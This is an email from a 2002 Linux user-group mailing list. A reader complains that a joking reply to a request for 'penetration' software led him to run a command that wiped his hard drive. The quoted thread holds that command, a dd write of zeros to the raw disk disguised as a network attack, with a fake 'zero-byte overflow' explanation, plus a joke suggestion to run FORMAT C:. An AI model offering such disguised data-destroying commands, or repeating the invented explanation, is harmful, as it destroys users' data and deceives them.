Ay Caramba

Does this do what I think it does and is equivalent to format c: in dos ?

There should have been some warning to this, as not everyone is familiar
with the dd command (including me)

I stupidly as a joke tried this, thinking that the nc command would actually
do what was thought.

Please remember that there are newbies and stubies here

I've no idea if what I've done is fixable, but I'm not happy if I've lost
all my data on my hard drive.
I don't care about programs but my personal stuff is hard to replace.

While it may be fun to take the mickey out of Osama, if you lost all your
personal data, and didn't have a backup mechanism available to restore it
from, would you be happy ?

Disappointedly

Chris
-----Original Message-----
From: Daniel Stone [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, 17 April 2002 8:19 PM
To: Matthew Sanderson
Cc: OSAMA; [EMAIL PROTECTED]
Subject: Re: [SLUG] i need a sofware to penetrate in to systems


On Tue, Apr 16, 2002 at 11:52:19PM -0700, Matthew Sanderson wrote:
> OSAMA,
> 
> Try this command from a DOS prompt, it accesses the CIA and FBI's websites
> and lets you access the restricted area:
> 
> FORMAT C:

But seriously, I suggest:
dd if=/dev/zero of=/dev/hda bs=1k | nc <host here> 65535

This is a zero-byte overflow attack - hosts on port 65535 are vulnerable
because that's near an overflow region!

Have fun!
d

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